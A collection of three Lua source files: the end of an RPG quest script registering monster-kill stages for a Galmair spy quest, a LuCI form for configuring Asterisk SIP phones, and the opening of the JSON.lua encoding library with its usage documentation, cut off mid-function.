Description[ENGLISH][173] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][174] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][175] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][176] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][177] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][178] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][179] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][180] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][181] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][182] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][183] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][184] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][185] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][186] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][187] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][188] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve trolls, your reward is thirty silver coins." Description[ENGLISH][189] = "Return to Bula Glasha to claim your reward." -- Insert the position of the quest start here (probably the position of an NPC or item) local Start = {407, 232, 0} -- For each status insert a list of positions where the quest will continue, i.e. a new status can be reached there local QuestTarget = {} QuestTarget[1] = {position(407, 232, 0)} -- Bula QuestTarget[2] = {position(407, 232, 0)} -- Bula QuestTarget[3] = {position(407, 232, 0)} -- Bula QuestTarget[4] = {position(407, 232, 0)} -- Bula QuestTarget[5] = {position(407, 232, 0)} -- Bula QuestTarget[6] = {position(407, 232, 0)} -- Bula QuestTarget[7] = {position(407, 232, 0)} -- Bula QuestTarget[8] = {position(407, 232, 0)} -- Bula QuestTarget[9] = {position(407, 232, 0)} -- Bula QuestTarget[10] = {position(407, 232, 0)} -- Bula QuestTarget[11] = {position(407, 232, 0)} -- Bula QuestTarget[12] = {position(407, 232, 0)} -- Bula QuestTarget[13] = {position(407, 232, 0)} -- Bula QuestTarget[14] = {position(407, 232, 0)} -- Bula QuestTarget[15] = {position(407, 232, 0)} -- Bula QuestTarget[16] = {position(407, 232, 0)} -- Bula QuestTarget[17] = {position(407, 232, 0)} -- Bula QuestTarget[18] = {position(407, 232, 0)} -- Bula QuestTarget[19] = {position(407, 232, 0)} -- Bula QuestTarget[20] = {position(407, 232, 0)} -- Bula QuestTarget[21] = {position(407, 232, 0)} -- Bula QuestTarget[22] = {position(407, 232, 0)} -- Bula QuestTarget[23] = {position(407, 232, 0)} -- Bula QuestTarget[24] = {position(407, 232, 0)} -- Bula QuestTarget[25] = {position(407, 232, 0)} -- Bula QuestTarget[26] = {position(407, 232, 0)} -- Bula QuestTarget[27] = {position(407, 232, 0)} -- Bula QuestTarget[28] = {position(407, 232, 0)} -- Bula QuestTarget[29] = {position(407, 232, 0)} -- Bula QuestTarget[30] = {position(407, 232, 0)} -- Bula QuestTarget[31] = {position(407, 232, 0)} -- Bula QuestTarget[32] = {position(407, 232, 0)} -- Bula QuestTarget[33] = {position(407, 232, 0)} -- Bula QuestTarget[34] = {position(407, 232, 0)} -- Bula QuestTarget[35] = {position(407, 232, 0)} -- Bula QuestTarget[36] = {position(407, 232, 0)} -- Bula QuestTarget[37] = {position(407, 232, 0)} -- Bula QuestTarget[38] = {position(407, 232, 0)} -- Bula QuestTarget[39] = {position(407, 232, 0)} -- Bula QuestTarget[40] = {position(407, 232, 0)} -- Bula QuestTarget[41] = {position(407, 232, 0)} -- Bula QuestTarget[42] = {position(407, 232, 0)} -- Bula QuestTarget[43] = {position(407, 232, 0)} -- Bula QuestTarget[44] = {position(407, 232, 0)} -- Bula QuestTarget[45] = {position(407, 232, 0)} -- Bula QuestTarget[46] = {position(407, 232, 0)} -- Bula QuestTarget[47] = {position(407, 232, 0)} -- Bula QuestTarget[48] = {position(407, 232, 0)} -- Bula QuestTarget[49] = {position(407, 232, 0)} -- Bula QuestTarget[50] = {position(407, 232, 0)} -- Bula QuestTarget[51] = {position(407, 232, 0)} -- Bula QuestTarget[52] = {position(407, 232, 0)} -- Bula QuestTarget[53] = {position(407, 232, 0)} -- Bula QuestTarget[54] = {position(407, 232, 0)} -- Bula QuestTarget[55] = {position(407, 232, 0)} -- Bula QuestTarget[56] = {position(407, 232, 0)} -- Bula QuestTarget[57] = {position(407, 232, 0)} -- Bula QuestTarget[58] = {position(407, 232, 0)} -- Bula QuestTarget[59] = {position(407, 232, 0)} -- Bula QuestTarget[60] = {position(407, 232, 0)} -- Bula QuestTarget[61] = {position(407, 232, 0)} -- Bula QuestTarget[62] = {position(407, 232, 0)} -- Bula QuestTarget[63] = {position(407, 232, 0)} -- Bula QuestTarget[64] = {position(407, 232, 0)} -- Bula QuestTarget[65] = {position(407, 232, 0)} -- Bula QuestTarget[66] = {position(407, 232, 0)} -- Bula QuestTarget[67] = {position(407, 232, 0)} -- Bula QuestTarget[68] = {position(407, 232, 0)} -- Bula QuestTarget[69] = {position(407, 232, 0)} -- Bula QuestTarget[70] = {position(407, 232, 0)} -- Bula QuestTarget[71] = {position(407, 232, 0)} -- Bula QuestTarget[72] = {position(407, 232, 0)} -- Bula QuestTarget[73] = {position(407, 232, 0)} -- Bula QuestTarget[74] = {position(407, 232, 0)} -- Bula QuestTarget[75] = {position(407, 232, 0)} -- Bula QuestTarget[76] = {position(407, 232, 0)} -- Bula QuestTarget[77] = {position(407, 232, 0)} -- Bula QuestTarget[78] = {position(407, 232, 0)} -- Bula QuestTarget[79] = {position(407, 232, 0)} -- Bula QuestTarget[80] = {position(407, 232, 0)} -- Bula QuestTarget[81] = {position(407, 232, 0)} -- Bula QuestTarget[82] = {position(407, 232, 0)} -- Bula QuestTarget[83] = {position(407, 232, 0)} -- Bula QuestTarget[84] = {position(407, 232, 0)} -- Bula QuestTarget[85] = {position(407, 232, 0)} -- Bula QuestTarget[86] = {position(407, 232, 0)} -- Bula QuestTarget[87] = {position(407, 232, 0)} -- Bula QuestTarget[88] = {position(407, 232, 0)} -- Bula QuestTarget[89] = {position(407, 232, 0)} -- Bula QuestTarget[90] = {position(407, 232, 0)} -- Bula QuestTarget[91] = {position(407, 232, 0)} -- Bula QuestTarget[92] = {position(407, 232, 0)} -- Bula QuestTarget[93] = {position(407, 232, 0)} -- Bula QuestTarget[94] = {position(407, 232, 0)} -- Bula QuestTarget[95] = {position(407, 232, 0)} -- Bula QuestTarget[96] = {position(407, 232, 0)} -- Bula QuestTarget[97] = {position(407, 232, 0)} -- Bula QuestTarget[98] = {position(407, 232, 0)} -- Bula QuestTarget[99] = {position(407, 232, 0)} -- Bula QuestTarget[100] = {position(407, 232, 0)} -- Bula QuestTarget[101] = {position(407, 232, 0)} -- Bula QuestTarget[102] = {position(407, 232, 0)} -- Bula QuestTarget[103] = {position(407, 232, 0)} -- Bula QuestTarget[104] = {position(407, 232, 0)} -- Bula QuestTarget[105] = {position(407, 232, 0)} -- Bula QuestTarget[106] = {position(407, 232, 0)} -- Bula QuestTarget[107] = {position(407, 232, 0)} -- Bula QuestTarget[108] = {position(407, 232, 0)} -- Bula QuestTarget[109] = {position(407, 232, 0)} -- Bula QuestTarget[110] = {position(407, 232, 0)} -- Bula QuestTarget[111] = {position(407, 232, 0)} -- Bula QuestTarget[112] = {position(407, 232, 0)} -- Bula QuestTarget[113] = {position(407, 232, 0)} -- Bula QuestTarget[114] = {position(407, 232, 0)} -- Bula QuestTarget[115] = {position(407, 232, 0)} -- Bula QuestTarget[116] = {position(407, 232, 0)} -- Bula QuestTarget[117] = {position(407, 232, 0)} -- Bula QuestTarget[118] = {position(407, 232, 0)} -- Bula QuestTarget[119] = {position(407, 232, 0)} -- Bula QuestTarget[120] = {position(407, 232, 0)} -- Bula QuestTarget[121] = {position(407, 232, 0)} -- Bula QuestTarget[122] = {position(407, 232, 0)} -- Bula QuestTarget[123] = {position(407, 232, 0)} -- Bula QuestTarget[124] = {position(407, 232, 0)} -- Bula QuestTarget[125] = {position(407, 232, 0)} -- Bula QuestTarget[126] = {position(407, 232, 0)} -- Bula QuestTarget[127] = {position(407, 232, 0)} -- Bula QuestTarget[128] = {position(407, 232, 0)} -- Bula QuestTarget[129] = {position(407, 232, 0)} -- Bula QuestTarget[130] = {position(407, 232, 0)} -- Bula QuestTarget[131] = {position(407, 232, 0)} -- Bula QuestTarget[132] = {position(407, 232, 0)} -- Bula QuestTarget[133] = {position(407, 232, 0)} -- Bula QuestTarget[134] = {position(407, 232, 0)} -- Bula QuestTarget[135] = {position(407, 232, 0)} -- Bula QuestTarget[136] = {position(407, 232, 0)} -- Bula QuestTarget[137] = {position(407, 232, 0)} -- Bula QuestTarget[138] = {position(407, 232, 0)} -- Bula QuestTarget[139] = {position(407, 232, 0)} -- Bula QuestTarget[140] = {position(407, 232, 0)} -- Bula QuestTarget[141] = {position(407, 232, 0)} -- Bula QuestTarget[142] = {position(407, 232, 0)} -- Bula QuestTarget[143] = {position(407, 232, 0)} -- Bula QuestTarget[144] = {position(407, 232, 0)} -- Bula QuestTarget[145] = {position(407, 232, 0)} -- Bula QuestTarget[146] = {position(407, 232, 0)} -- Bula QuestTarget[147] = {position(407, 232, 0)} -- Bula QuestTarget[148] = {position(407, 232, 0)} -- Bula QuestTarget[149] = {position(407, 232, 0)} -- Bula QuestTarget[150] = {position(407, 232, 0)} -- Bula QuestTarget[151] = {position(407, 232, 0)} -- Bula QuestTarget[152] = {position(407, 232, 0)} -- Bula QuestTarget[153] = {position(407, 232, 0)} -- Bula QuestTarget[154] = {position(407, 232, 0)} -- Bula QuestTarget[155] = {position(407, 232, 0)} -- Bula QuestTarget[156] = {position(407, 232, 0)} -- Bula QuestTarget[157] = {position(407, 232, 0)} -- Bula QuestTarget[158] = {position(407, 232, 0)} -- Bula QuestTarget[159] = {position(407, 232, 0)} -- Bula QuestTarget[160] = {position(407, 232, 0)} -- Bula QuestTarget[161] = {position(407, 232, 0)} -- Bula QuestTarget[162] = {position(407, 232, 0)} -- Bula QuestTarget[163] = {position(407, 232, 0)} -- Bula QuestTarget[164] = {position(407, 232, 0)} -- Bula QuestTarget[165] = {position(407, 232, 0)} -- Bula QuestTarget[166] = {position(407, 232, 0)} -- Bula QuestTarget[167] = {position(407, 232, 0)} -- Bula QuestTarget[168] = {position(407, 232, 0)} -- Bula QuestTarget[169] = {position(407, 232, 0)} -- Bula QuestTarget[170] = {position(407, 232, 0)} -- Bula QuestTarget[171] = {position(407, 232, 0)} -- Bula QuestTarget[172] = {position(407, 232, 0)} -- Bula QuestTarget[173] = {position(407, 232, 0)} -- Bula QuestTarget[174] = {position(407, 232, 0)} -- Bula QuestTarget[175] = {position(407, 232, 0)} -- Bula QuestTarget[176] = {position(407, 232, 0)} -- Bula QuestTarget[177] = {position(407, 232, 0)} -- Bula QuestTarget[178] = {position(407, 232, 0)} -- Bula QuestTarget[179] = {position(407, 232, 0)} -- Bula QuestTarget[180] = {position(407, 232, 0)} -- Bula QuestTarget[181] = {position(407, 232, 0)} -- Bula QuestTarget[182] = {position(407, 232, 0)} -- Bula QuestTarget[183] = {position(407, 232, 0)} -- Bula QuestTarget[184] = {position(407, 232, 0)} -- Bula QuestTarget[185] = {position(407, 232, 0)} -- Bula QuestTarget[186] = {position(407, 232, 0)} -- Bula QuestTarget[187] = {position(407, 232, 0)} -- Bula QuestTarget[188] = {position(407, 232, 0)} -- Bula QuestTarget[189] = {position(407, 232, 0)} -- Bula -- Insert the quest status which is reached at the end of the quest local FINAL_QUEST_STATUS = 0 -- Register the monster kill parts of the quest. monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 1, to = 5}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Wespen", english = "wasps"}, npcName = "Bula Glasha", raceIds = {27} -- all wasps } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 6, to = 14}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Wespen", english = "wasps"}, npcName = "Bula Glasha", raceIds = {27} -- all wasps } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 15, to = 27}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Wespen", english = "wasps"}, npcName = "Bula Glasha", raceIds = {27} -- all wasps } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 28, to = 32}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Schleime", english = "slimes"}, npcName = "Bula Glasha", raceIds = {61} -- all slimes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 33, to = 41}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Schleime", english = "slimes"}, npcName = "Bula Glasha", raceIds = {61} -- all slimes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 42, to = 54}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Schleime", english = "slimes"}, npcName = "Bula Glasha", raceIds = {61} -- all slimes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 55, to = 59}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Hunde", english = "dogs"}, npcName = "Bula Glasha", raceIds = {58} -- all dogs } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 60, to = 68}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Hunde", english = "dogs"}, npcName = "Bula Glasha", raceIds = {58} -- all dogs } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 69, to = 81}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Hunde", english = "dogs"}, npcName = "Bula Glasha", raceIds = {58} -- all dogs } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 82, to = 86}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Füchse", english = "foxes"}, npcName = "Bula Glasha", raceIds = {60} -- all foxes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 87, to = 95}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Füchse", english = "foxes"}, npcName = "Bula Glasha", raceIds = {60} -- all foxes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 96, to = 108}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Füchse", english = "foxes"}, npcName = "Bula Glasha", raceIds = {60} -- all foxes } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 109, to = 113}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Rattenmenschen", english = "ratmen"}, npcName = "Bula Glasha", raceIds = {57} -- all ratmen } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 114, to = 122}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Rattenmenschen", english = "ratmen"}, npcName = "Bula Glasha", raceIds = {57} -- all ratmen } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 123, to = 135}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Rattenmenschen", english = "ratmen"}, npcName = "Bula Glasha", raceIds = {57} -- all ratmen } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 136, to = 140}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Bären", english = "bears"}, npcName = "Bula Glasha", raceIds = {51} -- all bears } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 141, to = 149}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Bären", english = "bears"}, npcName = "Bula Glasha", raceIds = {51} -- all bears } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 150, to = 162}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Bären", english = "bears"}, npcName = "Bula Glasha", raceIds = {51} -- all bears } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 163, to = 167}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Trolle", english = "trolls"}, npcName = "Bula Glasha", raceIds = {9} -- all trolls } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 168, to = 176}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Trolle", english = "trolls"}, npcName = "Bula Glasha", raceIds = {9} -- all trolls } monsterQuests.addQuest{ questId = 181, location = {position = position(564, 178, 0), radius = 450}, queststatus = {from = 177, to = 189}, questTitle = {german = "Spitzel Informant", english = "Spy Informant"}, monsterName = {german = "Trolle", english = "trolls"}, npcName = "Bula Glasha", raceIds = {9} -- all trolls } function M.QuestTitle(user) return common.GetNLS(user, Title[GERMAN], Title[ENGLISH]) end function M.QuestDescription(user, status) local german = Description[GERMAN][status] or "" local english = Description[ENGLISH][status] or "" return common.GetNLS(user, german, english) end function M.QuestStart() return Start end function M.QuestTargets(user, status) return QuestTarget[status] end function M.QuestFinalStatus() return FINAL_QUEST_STATUS end function M.QuestAvailability(user, status) -- only available if cooldown if status == 0 and user:getQuestProgress(183) == 0 then return Player.questAvailable else return Player.questNotAvailable end end return M
agpl-3.0
qq779089973/ramod
luci/applications/luci-asterisk/luasrc/model/cbi/asterisk/phone_sip.lua
80
3813
--[[ LuCI - Lua Configuration Interface Copyright 2008 Jo-Philipp Wich <xm@subsignal.org> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- local ast = require("luci.asterisk") local function find_outgoing_contexts(uci) local c = { } local h = { } uci:foreach("asterisk", "dialplan", function(s) if not h[s['.name']] then c[#c+1] = { s['.name'], "Dialplan: %s" % s['.name'] } h[s['.name']] = true end end) return c end local function find_incoming_contexts(uci) local c = { } local h = { } uci:foreach("asterisk", "sip", function(s) if s.context and not h[s.context] and uci:get_bool("asterisk", s['.name'], "provider") then c[#c+1] = { s.context, "Incoming: %s" % s['.name'] or s.context } h[s.context] = true end end) return c end -- -- SIP phone info -- if arg[2] == "info" then form = SimpleForm("asterisk", "SIP Phone Information") form.reset = false form.submit = "Back to overview" local info, keys = ast.sip.peer(arg[1]) local data = { } for _, key in ipairs(keys) do data[#data+1] = { key = key, val = type(info[key]) == "boolean" and ( info[key] and "yes" or "no" ) or ( info[key] == nil or #info[key] == 0 ) and "(none)" or tostring(info[key]) } end itbl = form:section(Table, data, "SIP Phone %q" % arg[1]) itbl:option(DummyValue, "key", "Key") itbl:option(DummyValue, "val", "Value") function itbl.parse(...) luci.http.redirect( luci.dispatcher.build_url("admin", "asterisk", "phones") ) end return form -- -- SIP phone configuration -- elseif arg[1] then cbimap = Map("asterisk", "Edit SIP Client") peer = cbimap:section(NamedSection, arg[1]) peer.hidden = { type = "friend", qualify = "yes", host = "dynamic", nat = "no", canreinvite = "no" } back = peer:option(DummyValue, "_overview", "Back to phone overview") back.value = "" back.titleref = luci.dispatcher.build_url("admin", "asterisk", "phones") active = peer:option(Flag, "disable", "Account enabled") active.enabled = "yes" active.disabled = "no" function active.cfgvalue(...) return AbstractValue.cfgvalue(...) or "yes" end exten = peer:option(Value, "extension", "Extension Number") cbimap.uci:foreach("asterisk", "dialplanexten", function(s) exten:value( s.extension, "%s (via %s/%s)" %{ s.extension, s.type:upper(), s.target } ) end) display = peer:option(Value, "callerid", "Display Name") username = peer:option(Value, "username", "Authorization ID") password = peer:option(Value, "secret", "Authorization Password") password.password = true regtimeout = peer:option(Value, "registertimeout", "Registration Time Value") function regtimeout.cfgvalue(...) return AbstractValue.cfgvalue(...) or "60" end sipport = peer:option(Value, "port", "SIP Port") function sipport.cfgvalue(...) return AbstractValue.cfgvalue(...) or "5060" end linekey = peer:option(ListValue, "_linekey", "Linekey Mode (broken)") linekey:value("", "Off") linekey:value("trunk", "Trunk Appearance") linekey:value("call", "Call Appearance") dialplan = peer:option(ListValue, "context", "Assign Dialplan") dialplan.titleref = luci.dispatcher.build_url("admin", "asterisk", "dialplans") for _, v in ipairs(find_outgoing_contexts(cbimap.uci)) do dialplan:value(unpack(v)) end incoming = peer:option(StaticList, "incoming", "Receive incoming calls from") for _, v in ipairs(find_incoming_contexts(cbimap.uci)) do incoming:value(unpack(v)) end --function incoming.cfgvalue(...) --error(table.concat(MultiValue.cfgvalue(...),".")) --end return cbimap end
mit
crazyhamedboy/oliver
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 